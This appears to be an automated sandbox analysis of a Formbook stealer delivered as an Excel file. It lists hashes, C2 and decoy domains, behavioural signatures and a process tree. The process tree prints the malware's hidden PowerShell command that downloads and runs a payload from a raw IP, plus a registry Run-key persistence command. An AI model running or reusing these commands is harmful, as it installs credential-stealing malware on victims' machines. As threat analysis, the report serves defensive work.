formbook | 595e795d2c8aeafe3af742ef4f2a404546d55ae58d966d88c3d2880074aab591

Analysis

max time kernel
149s
max time network
135s
platform
windows10_x64
resource
win10
submitted
07/10/2020, 05:55

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General

Target
3041000.xls
Size 452KB
Sample201007-1fxrasqtpe
SHA256 595e795d2c8aeafe3af742ef4f2a404546d55ae58d966d88c3d2880074aab591
MD5 c444d11c01517f1ec52b63a6484bd512
SHA1 17784bbb9a63e836ee2c1d05cc26b773ad51a72d
SHA512 629121bca1095ca0275003f8a3d85c3d0ec0b71f8592b88c5a2447fa29c559dd79db2299dda60bf15d25f8bed24b8282ee2317c501855461c070dd77aaab001b
MD5 SHA1 SHA512

Score

10^/10

rat trojan spyware stealer formbook persistence

Malware Config

Extracted

Family

formbook

http://www.funpexw.com/dmr/

Decoy

thietkewebngay.com
fdgre.com
silverbuzzer.com
d55105.com
ccc693.com
diptya.net
oleasalon.com
vjvtjkic.biz
edmsociety.com
siyahmaske.win
lmnp-occasion.com
platocosmos.com
fakua.top
albertabarricade.com
kakaninrecipes.com
bestsmokeapp.com
hotelsitaly.online
brewtopiaapp.com
1q1twoother.men
wwwmaharashtratimes.com
daskfjsdkxc.com
duplex-id.com
ppobku.com
swiyke.download
chicagolandfamilylaw.com
fantiaodan.com
lety-club.com
boredofbooze.com
sunlivetv.com
brooke-and-josh.com
thewritesteps.com
german-sniper.com
shiltawi.com
aracaju.online
amyhdia.com
guitronwedding.com
woofoody.com
imagingnetworkri.net
cheztour.com
salesmako.com
polso-indo.com
jq58tz.com
feathergoddess.com
my-havas.com
saledicomacchio.com
cleapeed.com
servicefirstsvc.com
vakkeel.net
molliegold.com
reminder-con.com
greenleap.men
agasy.net
easyants.com
marxedthelabel.com
discoverfanfiction.com
castlemanage.com
dhzzyy.net
rooster-money.com
125lembi.com
rhineze.com
donebymidnight.com
lzjpg.com
seattletowncarservicellc.com
medef-accelerateur.com

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2088	1568	powershell.exe	75

Formbook Payload 3 IoCs

rat

resource	yara_rule
behavioral2/memory/3164-33-0x0000000000400000-0x000000000042D000-memory.dmp	formbook
behavioral2/memory/3164-34-0x000000000041E270-mapping.dmp	formbook
behavioral2/memory/1420-37-0x0000000000000000-mapping.dmp	formbook

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	2088	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
2112	hhnznbbfa.exe
1240	dgjh.exe
3164	AddInProcess32.exe

Loads dropped DLL 3 IoCs

pid	Process
2112	hhnznbbfa.exe
1240	dgjh.exe
1240	dgjh.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\nsym = "C:\\Windows\\system32\\pcalua.exe -a C:\\Users\\Admin\\dgjh.exe"	reg.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1240 set thread context of 3164	1240	dgjh.exe	87
PID 3164 set thread context of 2988	3164	AddInProcess32.exe	56
PID 1420 set thread context of 2988	1420	svchost.exe	56

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3832	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 38 IoCs

pid	Process
2088	powershell.exe
2088	powershell.exe
2088	powershell.exe
2112	hhnznbbfa.exe
2112	hhnznbbfa.exe
2112	hhnznbbfa.exe
2112	hhnznbbfa.exe
2112	hhnznbbfa.exe
2112	hhnznbbfa.exe
2112	hhnznbbfa.exe
2112	hhnznbbfa.exe
2112	hhnznbbfa.exe
2112	hhnznbbfa.exe
2112	hhnznbbfa.exe
2112	hhnznbbfa.exe
2112	hhnznbbfa.exe
2112	hhnznbbfa.exe
2112	hhnznbbfa.exe
2112	hhnznbbfa.exe
1240	dgjh.exe
3164	AddInProcess32.exe
3164	AddInProcess32.exe
3164	AddInProcess32.exe
3164	AddInProcess32.exe
1420	svchost.exe
1420	svchost.exe
1420	svchost.exe
1420	svchost.exe
1420	svchost.exe
1420	svchost.exe
1420	svchost.exe
1420	svchost.exe
1420	svchost.exe
1420	svchost.exe
1420	svchost.exe
1420	svchost.exe
1420	svchost.exe
1420	svchost.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
3164	AddInProcess32.exe
3164	AddInProcess32.exe
3164	AddInProcess32.exe
1420	svchost.exe
1420	svchost.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2088	powershell.exe
Token: SeDebugPrivilege	2112	hhnznbbfa.exe
Token: SeDebugPrivilege	1240	dgjh.exe
Token: SeDebugPrivilege	3164	AddInProcess32.exe
Token: SeDebugPrivilege	1420	svchost.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2088 wrote to memory of 2112	2088	powershell.exe	80
PID 2088 wrote to memory of 2112	2088	powershell.exe	80
PID 2088 wrote to memory of 2112	2088	powershell.exe	80
PID 2112 wrote to memory of 3796	2112	hhnznbbfa.exe	83
PID 2112 wrote to memory of 3796	2112	hhnznbbfa.exe	83
PID 2112 wrote to memory of 3796	2112	hhnznbbfa.exe	83
PID 3796 wrote to memory of 2720	3796	cmd.exe	85
PID 3796 wrote to memory of 2720	3796	cmd.exe	85
PID 3796 wrote to memory of 2720	3796	cmd.exe	85
PID 2112 wrote to memory of 1240	2112	hhnznbbfa.exe	86
PID 2112 wrote to memory of 1240	2112	hhnznbbfa.exe	86
PID 2112 wrote to memory of 1240	2112	hhnznbbfa.exe	86
PID 1240 wrote to memory of 3164	1240	dgjh.exe	87
PID 1240 wrote to memory of 3164	1240	dgjh.exe	87
PID 1240 wrote to memory of 3164	1240	dgjh.exe	87
PID 1240 wrote to memory of 3164	1240	dgjh.exe	87
PID 1240 wrote to memory of 3164	1240	dgjh.exe	87
PID 1240 wrote to memory of 3164	1240	dgjh.exe	87
PID 2988 wrote to memory of 1420	2988	Explorer.EXE	88
PID 2988 wrote to memory of 1420	2988	Explorer.EXE	88
PID 2988 wrote to memory of 1420	2988	Explorer.EXE	88
PID 1420 wrote to memory of 1232	1420	svchost.exe	89
PID 1420 wrote to memory of 1232	1420	svchost.exe	89
PID 1420 wrote to memory of 1232	1420	svchost.exe	89

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of WriteProcessMemory
PID:2988
- C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3041000.xls"
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:3832
- C:\Windows\SysWOW64\svchost.exe
  "C:\Windows\SysWOW64\svchost.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1420
- - C:\Windows\SysWOW64\cmd.exe
    /c del "C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe"
    3⤵
    PID:1232

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://18.196.157.86/T/3041000.jpg -OutFile C:\Users\Public\Pictures\hhnznbbfa.exe}; & {Start-Process -FilePath "C:\Users\Public\Pictures\hhnznbbfa.exe"}"
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2088
- C:\Users\Public\Pictures\hhnznbbfa.exe
  "C:\Users\Public\Pictures\hhnznbbfa.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2112
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /f /v nsym /t REG_SZ /d C:\Windows\system32\pcalua.exe" -a C:\Users\Admin\dgjh.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3796
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /f /v nsym /t REG_SZ /d C:\Windows\system32\pcalua.exe" -a C:\Users\Admin\dgjh.exe"
      4⤵
      Adds Run key to start application
      PID:2720
- - C:\Users\Admin\dgjh.exe
    "C:\Users\Admin\dgjh.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1240
  - - C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe
      "C:\Users\Admin\AppData\Local\Temp\AddInProcess32.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      PID:3164

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1240-31-0x00000000063C0000-0x00000000063D6000-memory.dmp

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memory/1240-22-0x0000000073AE0000-0x00000000741CE000-memory.dmp

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memory/1420-38-0x0000000001200000-0x000000000120C000-memory.dmp

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memory/1420-39-0x0000000001200000-0x000000000120C000-memory.dmp

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memory/1420-42-0x0000000001100000-0x00000000011F0000-memory.dmp

Download

memory/2088-5-0x000001A15C600000-0x000001A15C601000-memory.dmp

Download

memory/2088-4-0x000001A15C2D0000-0x000001A15C2D1000-memory.dmp

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memory/2088-3-0x00007FFDCCEF0000-0x00007FFDCD8DC000-memory.dmp

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memory/2112-10-0x0000000000AC0000-0x0000000000AC1000-memory.dmp

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memory/2112-15-0x0000000005490000-0x0000000005491000-memory.dmp

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memory/2112-14-0x0000000005390000-0x0000000005391000-memory.dmp

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memory/2112-13-0x00000000058F0000-0x00000000058F1000-memory.dmp

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memory/2112-12-0x00000000052C0000-0x00000000052F7000-memory.dmp

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memory/2112-9-0x0000000073AE0000-0x00000000741CE000-memory.dmp

Download

memory/3164-33-0x0000000000400000-0x000000000042D000-memory.dmp

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memory/3832-0-0x00007FFDD60B0000-0x00007FFDD6776000-memory.dmp

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